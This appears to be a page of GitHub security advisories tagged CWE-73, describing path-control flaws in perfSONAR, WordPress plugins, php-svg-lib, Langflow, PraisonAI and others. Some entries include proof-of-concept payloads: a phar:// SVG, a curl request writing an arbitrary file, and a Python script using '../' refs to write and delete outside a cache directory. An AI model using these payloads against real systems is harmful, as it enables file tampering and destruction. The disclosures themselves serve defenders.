CWE-73
AllowedExternal Control of File Name or Path
Abstraction: Base · Status: Draft
The product allows user input to control or influence paths or file names that are used in filesystem operations.
911 vulnerabilities reference this CWE, most recent first.
GHSA-CR28-68MJ-MPG4
Vulnerability from github – Published: 2023-01-01 09:30 – Updated: 2025-04-10 21:30perfSONAR before 4.4.6 inadvertently supports the parse option for a file:// URL.
{
"affected": [],
"aliases": [
"CVE-2022-45213"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-01-01T08:15:00Z",
"severity": "CRITICAL"
},
"details": "perfSONAR before 4.4.6 inadvertently supports the parse option for a file:// URL.",
"id": "GHSA-cr28-68mj-mpg4",
"modified": "2025-04-10T21:30:34Z",
"published": "2023-01-01T09:30:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-45213"
},
{
"type": "WEB",
"url": "https://www.perfsonar.net/releasenotes-2022-11-09-4-4-6.html"
},
{
"type": "WEB",
"url": "https://zxsecurity.co.nz/research/advisories/perfsonar-multiple"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-CV92-QMV8-P8X9
Vulnerability from github – Published: 2024-03-04 03:30 – Updated: 2024-03-04 03:30A vulnerability was found in SourceCodester Best POS Management System 1.0 and classified as problematic. This issue affects some unknown processing of the file index.php. The manipulation of the argument page leads to file inclusion. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-255587.
{
"affected": [],
"aliases": [
"CVE-2024-2155"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-03-04T01:15:07Z",
"severity": "MODERATE"
},
"details": "A vulnerability was found in SourceCodester Best POS Management System 1.0 and classified as problematic. This issue affects some unknown processing of the file index.php. The manipulation of the argument page leads to file inclusion. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-255587.",
"id": "GHSA-cv92-qmv8-p8x9",
"modified": "2024-03-04T03:30:25Z",
"published": "2024-03-04T03:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-2155"
},
{
"type": "WEB",
"url": "https://github.com/wkeyi0x1/vul-report/blob/main/Best%20pos%20management%20system%20in%20php/report.md"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.255587"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.255587"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-CX4R-3GVX-XQ57
Vulnerability from github – Published: 2026-05-12 18:30 – Updated: 2026-05-12 18:30External control of file name or path in Windows Ancillary Function Driver for WinSock allows an authorized attacker to elevate privileges locally.
{
"affected": [],
"aliases": [
"CVE-2026-41088"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-12T18:17:20Z",
"severity": "HIGH"
},
"details": "External control of file name or path in Windows Ancillary Function Driver for WinSock allows an authorized attacker to elevate privileges locally.",
"id": "GHSA-cx4r-3gvx-xq57",
"modified": "2026-05-12T18:30:46Z",
"published": "2026-05-12T18:30:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41088"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41088"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-CXFC-2CJ3-GW3W
Vulnerability from github – Published: 2025-09-09 18:31 – Updated: 2025-09-09 18:31External control of file name or path in Azure Arc allows an authorized attacker to elevate privileges locally.
{
"affected": [],
"aliases": [
"CVE-2025-55316"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-09T17:16:07Z",
"severity": "HIGH"
},
"details": "External control of file name or path in Azure Arc allows an authorized attacker to elevate privileges locally.",
"id": "GHSA-cxfc-2cj3-gw3w",
"modified": "2025-09-09T18:31:23Z",
"published": "2025-09-09T18:31:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55316"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-55316"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-CXP6-JHJH-H4HG
Vulnerability from github – Published: 2022-04-12 00:00 – Updated: 2022-04-16 00:01The settings of the iQ Block Country WordPress plugin before 1.2.13 can be exported or imported using its backup functionality. An authorized user can import preconfigured settings of the plugin by uploading a zip file. After the uploading process, files in the uploaded zip file are extracted one by one. During the extraction process, existence of a file is checked. If the file exists, it is deleted without any security control by only considering the name of the extracted file. This behavior leads to "Zip Slip" vulnerability.
{
"affected": [],
"aliases": [
"CVE-2022-0246"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-04-11T15:15:00Z",
"severity": "MODERATE"
},
"details": "The settings of the iQ Block Country WordPress plugin before 1.2.13 can be exported or imported using its backup functionality. An authorized user can import preconfigured settings of the plugin by uploading a zip file. After the uploading process, files in the uploaded zip file are extracted one by one. During the extraction process, existence of a file is checked. If the file exists, it is deleted without any security control by only considering the name of the extracted file. This behavior leads to \"Zip Slip\" vulnerability.",
"id": "GHSA-cxp6-jhjh-h4hg",
"modified": "2022-04-16T00:01:12Z",
"published": "2022-04-12T00:00:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0246"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/892802b1-26e2-4ce1-be6f-71ce29687776"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-F2R6-P94G-V5C4
Vulnerability from github – Published: 2023-03-07 15:30 – Updated: 2026-04-08 21:31The Plus Addons for Elementor plugin for WordPress is vulnerable to arbitrary file reads in versions up to, and including 4.1.9 (pro) and 2.0.6 (free). The plugin has a feature to add an "Info Box" to an Elementor created page. This Info Box can include an SVG image for the box. Unfortunately, the plugin used file_get_contents with no verification that the file being supplied was an SVG file, so any user with access to the Elementor page builder, such as contributors, could read arbitrary files on the WordPress installation.
{
"affected": [],
"aliases": [
"CVE-2021-4332"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-03-07T15:15:00Z",
"severity": "MODERATE"
},
"details": "The Plus Addons for Elementor plugin for WordPress is vulnerable to arbitrary file reads in versions up to, and including 4.1.9 (pro) and 2.0.6 (free). The plugin has a feature to add an \"Info Box\" to an Elementor created page. This Info Box can include an SVG image for the box. Unfortunately, the plugin used file_get_contents with no verification that the file being supplied was an SVG file, so any user with access to the Elementor page builder, such as contributors, could read arbitrary files on the WordPress installation.",
"id": "GHSA-f2r6-p94g-v5c4",
"modified": "2026-04-08T21:31:48Z",
"published": "2023-03-07T15:30:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-4332"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=2523506%40the-plus-addons-for-elementor-page-builder\u0026new=2523506%40the-plus-addons-for-elementor-page-builder\u0026sfp_email=\u0026sfph_mail="
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/aa698e7e-b1c7-4ead-aa2e-7fbfc9dfac80"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/aa698e7e-b1c7-4ead-aa2e-7fbfc9dfac80?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-F3QR-QR4X-J273
Vulnerability from github – Published: 2024-02-21 18:04 – Updated: 2024-02-21 19:33Summary
php-svg-lib fails to validate that font-family doesn't contain a PHAR url, which might leads to RCE on PHP < 8.0, and doesn't validate if external references are allowed. This might leads to bypass of restrictions or RCE on projects that are using it, if they do not strictly revalidate the fontName that is passed by php-svg-lib.
Details
The Style::fromAttributes(), or the Style::parseCssStyle() should check the content of the font-family and prevents it to use a PHAR url, to avoid passing an invalid and dangerous fontName value to other libraries. The same check as done in the Style::fromStyleSheets might be reused :
if (
\array_key_exists("font-family", $styles)
&& (
\strtolower(\substr($this->href, 0, 7)) === "phar://"
|| ($this->document->allowExternalReferences === false && \strtolower(\substr($this->href, 0, 5)) !== "data:")
)
) {
unset($style["font-family"]);
}
PoC
Parsing the following SVG :
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200">
<text x="20" y="35" style="color:red;font-family:phar:///path/to/whatever.phar/blaklis;">My</text>
</svg>
will pass the phar:///path/to/whatever.phar/blaklis as $family in SurfaceCpdf::setFont, which is then passed to the canvas selectFont as a $fontName.
Impact
Libraries using this library as a dependency might be vulnerable to some bypass of restrictions, or even RCE, if they do not double check the value of the fontName that is passed by php-svg-lib
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "phenx/php-svg-lib"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.5.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-25117"
],
"database_specific": {
"cwe_ids": [
"CWE-502",
"CWE-610",
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2024-02-21T18:04:16Z",
"nvd_published_at": "2024-02-21T17:15:09Z",
"severity": "MODERATE"
},
"details": "### Summary\nphp-svg-lib fails to validate that font-family doesn\u0027t contain a PHAR url, which might leads to RCE on PHP \u003c 8.0, and doesn\u0027t validate if external references are allowed. This might leads to bypass of restrictions or RCE on projects that are using it, if they do not strictly revalidate the fontName that is passed by php-svg-lib.\n\n### Details\nThe Style::fromAttributes(), or the Style::parseCssStyle() should check the content of the `font-family` and prevents it to use a PHAR url, to avoid passing an invalid and dangerous `fontName` value to other libraries. The same check as done in the Style::fromStyleSheets might be reused : \n\n```\n if (\n \\array_key_exists(\"font-family\", $styles)\n \u0026\u0026 (\n \\strtolower(\\substr($this-\u003ehref, 0, 7)) === \"phar://\"\n || ($this-\u003edocument-\u003eallowExternalReferences === false \u0026\u0026 \\strtolower(\\substr($this-\u003ehref, 0, 5)) !== \"data:\")\n )\n ) {\n unset($style[\"font-family\"]);\n }\n```\n\n### PoC \n\nParsing the following SVG : \n\n```\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?\u003e\n\u003csvg xmlns:svg=\"http://www.w3.org/2000/svg\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" width=\"200\" height=\"200\"\u003e\n \u003ctext x=\"20\" y=\"35\" style=\"color:red;font-family:phar:///path/to/whatever.phar/blaklis;\"\u003eMy\u003c/text\u003e\n\u003c/svg\u003e\n```\n\nwill pass the `phar:///path/to/whatever.phar/blaklis` as `$family` in `SurfaceCpdf::setFont`, which is then passed to the canvas `selectFont` as a `$fontName`.\n\n### Impact\nLibraries using this library as a dependency might be vulnerable to some bypass of restrictions, or even RCE, if they do not double check the value of the `fontName` that is passed by php-svg-lib",
"id": "GHSA-f3qr-qr4x-j273",
"modified": "2024-02-21T19:33:13Z",
"published": "2024-02-21T18:04:16Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/dompdf/php-svg-lib/security/advisories/GHSA-f3qr-qr4x-j273"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-25117"
},
{
"type": "WEB",
"url": "https://github.com/dompdf/php-svg-lib/commit/732faa9fb4309221e2bd9b2fda5de44f947133aa"
},
{
"type": "WEB",
"url": "https://github.com/dompdf/php-svg-lib/commit/8ffcc41bbde39f09f94b9760768086f12bbdce42"
},
{
"type": "PACKAGE",
"url": "https://github.com/dompdf/php-svg-lib"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "php-svg-lib lacks path validation on font through SVG inline styles "
}
GHSA-F3XM-22X6-VG3G
Vulnerability from github – Published: 2024-10-29 15:32 – Updated: 2024-10-29 15:32A file overwrite vulnerability exists in gaizhenbiao/chuanhuchatgpt versions <= 20240410. This vulnerability allows an attacker to gain unauthorized access to overwrite critical configuration files within the system. Exploiting this vulnerability can lead to unauthorized changes in system behavior or security settings. Additionally, tampering with these configuration files can result in a denial of service (DoS) condition, disrupting normal system operation.
{
"affected": [],
"aliases": [
"CVE-2024-5823"
],
"database_specific": {
"cwe_ids": [
"CWE-610",
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-10-29T13:15:07Z",
"severity": "MODERATE"
},
"details": "A file overwrite vulnerability exists in gaizhenbiao/chuanhuchatgpt versions \u003c= 20240410. This vulnerability allows an attacker to gain unauthorized access to overwrite critical configuration files within the system. Exploiting this vulnerability can lead to unauthorized changes in system behavior or security settings. Additionally, tampering with these configuration files can result in a denial of service (DoS) condition, disrupting normal system operation.",
"id": "GHSA-f3xm-22x6-vg3g",
"modified": "2024-10-29T15:32:05Z",
"published": "2024-10-29T15:32:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-5823"
},
{
"type": "WEB",
"url": "https://github.com/gaizhenbiao/chuanhuchatgpt/commit/720c23d755a4a955dcb0a54e8c200a2247a27f8b"
},
{
"type": "WEB",
"url": "https://huntr.com/bounties/ca361701-7d68-4df6-8da0-caad4b85b9ae"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-F43R-CC68-GPX4
Vulnerability from github – Published: 2025-12-19 22:53 – Updated: 2026-06-06 00:36Vulnerability Overview
If an arbitrary path is specified in the request body's fs_path, the server serializes the Flow object into JSON and creates/overwrites a file at that path. There is no path restriction, normalization, or allowed directory enforcement, so absolute paths (e.g., /etc/poc.txt) are interpreted as is.
Vulnerable Code
-
It receives the request body (flow), updates the DB, and then passes it to the file-writing sink.
https://github.com/langflow-ai/langflow/blob/ac6e2d2eabeee28085f2739d79f7ce4205ca082c/src/backend/base/langflow/api/v1/flows.py#L154-L168
```python @router.post("/", response_model=FlowRead, status_code=201) async def create_flow( *, session: DbSession, flow: FlowCreate, current_user: CurrentActiveUser, ): try: db_flow = await _new_flow(session=session, flow=flow, user_id=current_user.id) await session.commit() await session.refresh(db_flow)
await _save_flow_to_fs(db_flow) except Exception as e:```
-
Applies authentication dependency (requires API Key/JWT) when accessing the endpoint.
https://github.com/langflow-ai/langflow/blob/ac6e2d2eabeee28085f2739d79f7ce4205ca082c/src/backend/base/langflow/api/utils/core.py#L36-L38
python CurrentActiveUser = Annotated[User, Depends(get_current_active_user)] CurrentActiveMCPUser = Annotated[User, Depends(get_current_active_user_mcp)] DbSession = Annotated[AsyncSession, Depends(get_session)] -
The client can directly specify the save path, including
fs_path.https://github.com/langflow-ai/langflow/blob/ac6e2d2eabeee28085f2739d79f7ce4205ca082c/src/backend/base/langflow/api/v1/flows.py#L66-L70
```python ): try: await _verify_fs_path(flow.fs_path)
"""Create a new flow."""```
-
It attempts to create the file (or the file, in the case of a path without a parent) directly without path validation.
https://github.com/langflow-ai/langflow/blob/ac6e2d2eabeee28085f2739d79f7ce4205ca082c/src/backend/base/langflow/api/v1/flows.py#L45-L49
python async def _verify_fs_path(path: str | None) -> None: if path: path_ = Path(path) if not await path_.exists(): await path_.touch() -
Serializes the Flow object to JSON and writes it to the specified path in "w" mode (overwriting).
https://github.com/langflow-ai/langflow/blob/ac6e2d2eabeee28085f2739d79f7ce4205ca082c/src/backend/base/langflow/api/v1/flows.py#L52-L58
python async def _save_flow_to_fs(flow: Flow) -> None: if flow.fs_path: async with async_open(flow.fs_path, "w") as f: try: await f.write(flow.model_dump_json()) except OSError: await logger.aexception("Failed to write flow %s to path %s", flow.name, flow.fs_path)
PoC Description
When an authenticated user passes an arbitrary path in fs_path, the Flow JSON is written to that path. Since /tmp is usually writable, it is easy to reproduce. In a production environment, writing to system-protected directories may fail depending on permissions.
PoC
-
Before Exploit
-
After Exploit
bash curl -sS -X POST "http://localhost:7860/api/v1/flows/" \ -H "Content-Type: application/json" \ -H "x-api-key: sk-8Kyzf9IQ-UEJ_OtSTaJq4eniMT9_JKgZ7__q8PNkoxc" \ -d '{"name":"poc-etc","data":{"nodes":[],"edges":[]},"fs_path":"/tmp/POC.txt"}'
Impact
- Authenticated Arbitrary File Write (within server permission scope): Risk of corrupting configuration/log/task files, disrupting application behavior, and tampering with files read by other components.
- Both absolute and relative paths are allowed, enabling base directory traversal. The risk of overwriting system files increases in environments with root privileges or weak mount/permission settings.
- The file content is limited to Flow JSON, but the impact is severe if the target file is parsed by a JSON parser or is subject to subsequent processing.
- In production environments, it is essential to enforce a save root, normalize paths, block symlink traversal, and minimize permissions.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "langflow"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.7.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-68478"
],
"database_specific": {
"cwe_ids": [
"CWE-610",
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2025-12-19T22:53:13Z",
"nvd_published_at": "2025-12-19T18:15:51Z",
"severity": "HIGH"
},
"details": "**Vulnerability Overview**\n\nIf an arbitrary path is specified in the request body\u0027s `fs_path`, the server serializes the Flow object into JSON and creates/overwrites a file at that path. There is no path restriction, normalization, or allowed directory enforcement, so absolute paths (e.g., /etc/poc.txt) are interpreted as is.\n\n**Vulnerable Code**\n\n1. It receives the request body (flow), updates the DB, and then passes it to the file-writing sink.\n \n https://github.com/langflow-ai/langflow/blob/ac6e2d2eabeee28085f2739d79f7ce4205ca082c/src/backend/base/langflow/api/v1/flows.py#L154-L168\n \n ```python\n @router.post(\"/\", response_model=FlowRead, status_code=201)\n async def create_flow(\n *,\n session: DbSession,\n flow: FlowCreate,\n current_user: CurrentActiveUser,\n ):\n try:\n db_flow = await _new_flow(session=session, flow=flow, user_id=current_user.id)\n await session.commit()\n await session.refresh(db_flow)\n \n await _save_flow_to_fs(db_flow)\n \n except Exception as e:\n ```\n \n2. Applies authentication dependency (requires API Key/JWT) when accessing the endpoint.\n \n https://github.com/langflow-ai/langflow/blob/ac6e2d2eabeee28085f2739d79f7ce4205ca082c/src/backend/base/langflow/api/utils/core.py#L36-L38\n \n ```python\n CurrentActiveUser = Annotated[User, Depends(get_current_active_user)]\n CurrentActiveMCPUser = Annotated[User, Depends(get_current_active_user_mcp)]\n DbSession = Annotated[AsyncSession, Depends(get_session)]\n ```\n \n3. The client can directly specify the save path, including `fs_path`.\n \n https://github.com/langflow-ai/langflow/blob/ac6e2d2eabeee28085f2739d79f7ce4205ca082c/src/backend/base/langflow/api/v1/flows.py#L66-L70\n \n ```python\n ):\n try:\n await _verify_fs_path(flow.fs_path)\n \n \"\"\"Create a new flow.\"\"\"\n ```\n \n4. It attempts to create the file (or *the* file, in the case of a path without a parent) directly without path validation.\n \n https://github.com/langflow-ai/langflow/blob/ac6e2d2eabeee28085f2739d79f7ce4205ca082c/src/backend/base/langflow/api/v1/flows.py#L45-L49\n \n ```python\n async def _verify_fs_path(path: str | None) -\u003e None:\n if path:\n path_ = Path(path)\n if not await path_.exists():\n await path_.touch()\n ```\n \n5. Serializes the Flow object to JSON and writes it to the specified path in \"w\" mode (overwriting).\n \n https://github.com/langflow-ai/langflow/blob/ac6e2d2eabeee28085f2739d79f7ce4205ca082c/src/backend/base/langflow/api/v1/flows.py#L52-L58\n \n ```python\n async def _save_flow_to_fs(flow: Flow) -\u003e None:\n if flow.fs_path:\n async with async_open(flow.fs_path, \"w\") as f:\n try:\n await f.write(flow.model_dump_json())\n except OSError:\n await logger.aexception(\"Failed to write flow %s to path %s\", flow.name, flow.fs_path)\n ```\n \n\n**PoC Description**\n\nWhen an authenticated user passes an arbitrary path in `fs_path`, the Flow JSON is written to that path. Since `/tmp` is usually writable, it is easy to reproduce. In a production environment, writing to system-protected directories may fail depending on permissions.\n\n**PoC**\n\n- **Before Exploit**\n \n\n \u003cimg width=\"1918\" height=\"658\" alt=\"image\" src=\"https://github.com/user-attachments/assets/fe3c2306-091d-4cb0-b4dc-c7fb63c03d8d\" /\u003e\n \n- **After Exploit**\n \n ```bash\n curl -sS -X POST \"http://localhost:7860/api/v1/flows/\" \\\n -H \"Content-Type: application/json\" \\\n -H \"x-api-key: sk-8Kyzf9IQ-UEJ_OtSTaJq4eniMT9_JKgZ7__q8PNkoxc\" \\\n -d \u0027{\"name\":\"poc-etc\",\"data\":{\"nodes\":[],\"edges\":[]},\"fs_path\":\"/tmp/POC.txt\"}\u0027\n ```\n \n \u003cimg width=\"1918\" height=\"742\" alt=\"image\" src=\"https://github.com/user-attachments/assets/cc0b0c96-1c2d-4d56-b558-5ba97e0ec174\" /\u003e\n \n\n### Impact\n\n- **Authenticated Arbitrary File Write (within server permission scope):** Risk of corrupting configuration/log/task files, disrupting application behavior, and tampering with files read by other components.\n- **Both absolute and relative paths are allowed, enabling base directory traversal.** The risk of overwriting system files increases in environments with root privileges or weak mount/permission settings.\n- **The file content is limited to Flow JSON,** but the impact is severe if the target file is parsed by a JSON parser or is subject to subsequent processing.\n- **In production environments, it is essential to enforce a save root, normalize paths, block symlink traversal, and minimize permissions.**",
"id": "GHSA-f43r-cc68-gpx4",
"modified": "2026-06-06T00:36:53Z",
"published": "2025-12-19T22:53:13Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/langflow-ai/langflow/security/advisories/GHSA-f43r-cc68-gpx4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68478"
},
{
"type": "PACKAGE",
"url": "https://github.com/langflow-ai/langflow"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/langflow/PYSEC-2025-125.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "External Control of File Name or Path in Langflow"
}
GHSA-F44V-7QGW-9GH9
Vulnerability from github – Published: 2026-06-18 14:24 – Updated: 2026-06-18 14:24Summary
PraisonAI's template loader accepts GitHub template URIs with refs, for example
github:owner/repo/template@v1.0.0. The resolver stores the user-controlled
template path and ref verbatim, and the cache layer later joins those values into
~/.praison/cache/templates/github/<owner>/<repo>/<template>/<ref> without
normalizing each segment or checking that the final path remains inside the
template cache root.
A crafted ref such as ../../../../../../outside-delete-target therefore
escapes the cache directory. The first load can write .cache_meta.json outside
the cache. If the normal cache hierarchy for the same owner/repo/template has
already been created, the same path reaches shutil.rmtree(cache_path) and
removes an attacker-selected outside directory before replacing it with cache
metadata.
This is distinct from the old template Zip Slip advisory. No malicious archive member is needed, and the PoV disables network access entirely. The bug is in cache-key construction for GitHub template URIs.
Affected versions
Confirmed vulnerable:
v2.6.0v3.9.24v3.9.26v4.5.126v4.5.128v4.6.9v4.6.10v4.6.56v4.6.57- current head
2f9677abb2ea68eab864ee8b6a828fd0141612e1
Recommended affected range: >= 2.6.0, <= 4.6.57.
No fixed version is known at the time of this report.
Impact
An attacker who can cause a user or service to load an attacker-supplied PraisonAI GitHub template URI can:
- create
.cache_meta.jsonoutside the template cache directory; - delete a directory reachable by the PraisonAI process after a normal cache entry exists for the same owner/repo/template prefix;
- corrupt user configuration, project state, or application data reachable by the process permissions.
Root cause
Current-head code path:
praisonai/templates/resolver.py:GITHUB_PATTERNcapturespathandrefwith broad regex groups and returns them without segment validation.praisonai/templates/security.py:is_source_allowed()allows GitHub sources by default whenallow_any_githubis true.praisonai/templates/registry.py:get_template()resolves a GitHub URI, fetches the template, calculates a checksum, then callsself.cache.put(...).praisonai/templates/cache.py:_get_cache_path()builds the cache path asself.cache_dir / "github" / resolved.owner / resolved.repo / resolved.path / ref.praisonai/templates/cache.py:put()removes an existingcache_pathwithshutil.rmtree(cache_path), recreates it, copies content, and writes.cache_meta.json.
There is no check equivalent to:
- reject absolute path segments;
- reject
./..in owner, repo, template path, or ref; - resolve the candidate path;
- require
os.path.commonpath([cache_root, candidate]) == cache_root.
Local-only PoV
Run from a PraisonAI source checkout:
from pathlib import Path
from tempfile import TemporaryDirectory
from praisonai.templates.cache import TemplateCache
from praisonai.templates.loader import TemplateLoader
from praisonai.templates.registry import TemplateRegistry
def loader(cache_dir):
cache = TemplateCache(cache_dir=cache_dir)
registry = TemplateRegistry(cache=cache, offline=False)
registry._make_request = lambda url, headers=None: (_ for _ in ()).throw(
RuntimeError("network disabled")
)
return TemplateLoader(cache=cache, registry=registry)
with TemporaryDirectory(prefix="prai-cache-ref-pov-") as tmp:
root = Path(tmp)
cache_dir = root / "cache" / "templates"
write_target = root / "outside-write-target"
loader(cache_dir).load(
"github:attacker/repo/template@../../../../../../outside-write-target"
)
delete_target = root / "outside-delete-target"
delete_target.mkdir()
canary = delete_target / "canary.txt"
canary.write_text("delete-me")
ldr = loader(cache_dir)
ldr.load("github:attacker/repo/template@main")
ldr.load(
"github:attacker/repo/template@../../../../../../outside-delete-target"
)
safe_target = root / "safe-control"
safe_target.mkdir()
safe_canary = safe_target / "canary.txt"
safe_canary.write_text("must-remain")
loader(root / "safe-cache" / "templates").load(
"github:attacker/repo/template@main"
)
print("outside metadata written:", (write_target / ".cache_meta.json").exists())
print("outside canary exists after malicious ref:", canary.exists())
print("safe canary exists after normal ref:", safe_canary.exists())
Expected output:
outside metadata written: True
outside canary exists after malicious ref: False
safe canary exists after normal ref: True
The PoV uses only temporary directories and disables network fetches.
I also confirmed the same behavior without monkeypatching network fetches. With a non-existent GitHub repository, PraisonAI makes real GitHub requests, handles the failed fetch, returns a fallback template config, and still writes/deletes through the escaped cache path. The PoV above disables network only to keep the reproducer deterministic and harmless.
Release sweep
The same PoV was run against checked-out tags:
praisonai-current metadata_write= True outside_delete= True safe_control= True
praisonai-v4.6.57 metadata_write= True outside_delete= True safe_control= True
praisonai-v4.6.56 metadata_write= True outside_delete= True safe_control= True
praisonai-v4.6.10 metadata_write= True outside_delete= True safe_control= True
praisonai-v4.6.9 metadata_write= True outside_delete= True safe_control= True
praisonai-v4.5.128 metadata_write= True outside_delete= True safe_control= True
praisonai-v4.5.126 metadata_write= True outside_delete= True safe_control= True
praisonai-v3.9.26 metadata_write= True outside_delete= True safe_control= True
praisonai-v3.9.24 metadata_write= True outside_delete= True safe_control= True
praisonai-v2.6.0 metadata_write= True outside_delete= True safe_control= True
git log shows the affected template cache/resolver/registry files were added
in the v2.6.0 release commit e7a8ce8e.
Suggested fix
Validate every cache path segment before joining:
- owner and repo: strict GitHub owner/repo-name regex;
- template path: split on
/and reject empty,.,.., and absolute forms; - ref: reject
/, path separators, empty segments,.,.., and absolute forms, or encode/hash the ref before using it in a filesystem path.
Then enforce a final boundary check:
cache_root = self.cache_dir.resolve()
candidate = (cache_root / "github" / owner / repo / safe_path / safe_ref).resolve()
if os.path.commonpath([str(cache_root), str(candidate)]) != str(cache_root):
raise ValueError("template cache path escapes cache root")
A more robust design is to hash untrusted URI fields into opaque directory names instead of using raw remote identifiers as path segments.
Also consider failing closed when a GitHub template fetch returns no files. Currently a failed fetch can still result in a cached empty template directory.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.6.57"
},
"package": {
"ecosystem": "PyPI",
"name": "praisonai"
},
"ranges": [
{
"events": [
{
"introduced": "2.6.0"
},
{
"fixed": "4.6.59"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-18T14:24:55Z",
"nvd_published_at": null,
"severity": "HIGH"
},
